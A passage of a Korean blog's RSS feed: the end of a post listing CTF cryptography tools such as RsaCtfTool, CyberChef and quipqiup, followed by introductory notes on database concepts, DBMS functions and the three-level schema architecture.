&lt;blockquote data-ke-size=&quot;size26&quot; data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://github.com/Ganapati/RsaCtfTool.git&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;RsaCtfTool&lt;/a&gt; : &lt;span style=&quot;color: #666666;&quot;&gt;RSA 도구&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://www.dcode.fr/brainfuck-language&quot;&gt;Brainfuck&lt;/a&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: (ex. &quot;[&amp;gt;+++++++++&quot;) 암복호화&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://quipqiup.com/&quot;&gt;quipqiup&lt;/a&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 치환암호 복호화&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-size=&quot;size26&quot; data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;CyberChef&lt;/a&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 다양한 인코딩 지원&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-size=&quot;size26&quot; data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://cryptii.com/&quot;&gt;Cryptii&lt;/a&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 다양한 인코딩 지원&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;References&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;https://defenit.kr/2019/09/24/Crypto/%E3%84%B4%20Research/RSA_for_CTF/&lt;/blockquote&gt;</description>
      <category>Honey TIP</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/239</guid>
      <comments>https://netking.tistory.com/239#entry239comment</comments>
      <pubDate>Sat, 24 Oct 2020 00:10:42 +0900</pubDate>
    </item>
    <item>
      <title>데이터베이스(DB) 기초</title>
      <link>https://netking.tistory.com/238</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;[ &lt;/span&gt;&lt;span&gt;정보&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;환경&lt;/span&gt;&lt;span&gt; ]&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터 : 실세계에서 관찰 또는 측정된 사실 또는 값&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;정보 : 상황에 따라 적절한 결정을 할 수 있게하는 지식&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스(DB) : 한 조직의 여러 응용 프로그램들이 공유하여 사용하는 통합하고 저장된 운영 데이터의 집합&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터베이스 관리 시스템(DBMS) : 데이터베이스를 사용할 수 있게 하는 소프트웨어&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;데이터베이스 조건&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;통합된 데이터&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;최소의 중복&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;통제된 중복&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;저장 데이터&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;컴퓨터가 접근할 수 있는 매체에 저장되어야 함&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;운영 데이터&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;조직의 업무를 위한 데이터&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;공용 데이터&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;조직의 여러 사람들과 응용 프로그램이 공유하여 사용&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;데이터베이스 특성&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;온라인 접근성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;질의에 대한 온라인 실시간 응답&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;계속적인 변화&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;지속적으로 데이터 삽입, 갱신, 삭제&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;동시 공용&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;여러 사용자가 동시에 데이터를 접근할 수 있음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;내용에 의한 참조&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터의 조건 또는 특성만 알려주면 그것을 접근이 가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터의 주소 또는 위치를 알 필요는 없어야 함&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;데이터 구성&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;개체&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;현실 세계의 개념 또는 정보의 단위 (ex. 사람, 학생, 교수, 강의실 등)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;속성 들로 구성&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;관계&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;개체(집합)들 간의 관계&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;데이터베이스 구조&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;논리적 구조&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;일반 사용자 또는 응용 프로그래머 입장의 데이터베이스 구조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;관계형 데이터베이스의 경우 레코드들로 이루어진 테이블&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;물리적 구조&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;저장 장치에 기록되는 물리적인 배치 구조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;ex. &lt;/span&gt;&lt;span&gt;디스크&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;블록&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;포인터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;체인&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;인덱스&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;오버플로우&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;[ &lt;/span&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관리&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;span&gt; ]&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;파일을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이용한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;처리의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;문제점&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;종속성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;파일의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내부&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;응용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로그램이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;영향을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;받음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중복성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;동일한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내용의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중복해서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관리&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중복으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;인한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;문제점&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;일관성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;상실&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;보안성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취약&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;경제성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취약&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;무결성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취약&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관리시스템&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;DBMS &lt;/span&gt;&lt;span&gt;필수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;사용할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정의할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있어야&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;함&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;조작&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;검색&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;삽입&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;삭제&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;갱신&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제어&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;무결성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;유지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;권한과&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;보안&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;동시&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;따른&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;병행&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제어&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관리시스템&lt;/span&gt;&lt;span&gt; (DBMS) &lt;/span&gt;&lt;span&gt;장단점&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;장점&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중복&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;최소화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;공유&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;무결성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;유지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;보안&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;보장&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;조직&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;표준화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;요구의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;조정&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;단점&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;운영비&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;증대&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;특정&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;응용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로그램의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;복잡화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;복잡한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;백업과&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;회복&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취약성&lt;/span&gt;&lt;span&gt; ( DBMS &lt;/span&gt;&lt;span&gt;장애는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;곧&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;업무&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중단&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;독립성&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;논리적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;물리적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변경되더라도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;응용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로그램이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;영향을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;받지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;않게함&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;논리적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;독립성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;물리적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;독립성&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;각&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조간에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사상&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;필요&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;[ &lt;/span&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시스템의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구성&lt;/span&gt;&lt;span&gt; ]&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시스템의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구성요소&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; (DB) ( &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;실제&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관리시스템&lt;/span&gt;&lt;span&gt; (DBMS)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;언어&lt;/span&gt;&lt;span&gt; (DB Language)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용자&lt;/span&gt;&lt;span&gt; (User)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관리자&lt;/span&gt;&lt;span&gt; (DB Adminitrator)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;컴퓨터&lt;/span&gt;&lt;span&gt; (H/W)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도구&lt;/span&gt;&lt;span&gt; (Tool/Utility)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;span&gt; (Schema)&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;제약조건에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;명세&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;View&lt;/span&gt;&lt;span&gt;에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;따라&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;달리&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;보여질&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있음&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;응용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로그램&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관점&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;조직&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;기관&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;전체의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관점&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;물리적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;저장&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;장치&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수준의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관점&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조&lt;/span&gt;&lt;span&gt; (3&lt;/span&gt;&lt;span&gt;단계&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;외부&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;span&gt; ( = &lt;/span&gt;&lt;span&gt;서브&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;개개의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용자&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;응용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로그램&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수준의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;개념&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;조직&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;전체&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수준의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;외부&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마들의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;통합&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;내부&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;개념&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;저장&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정의&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;카탈로그&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
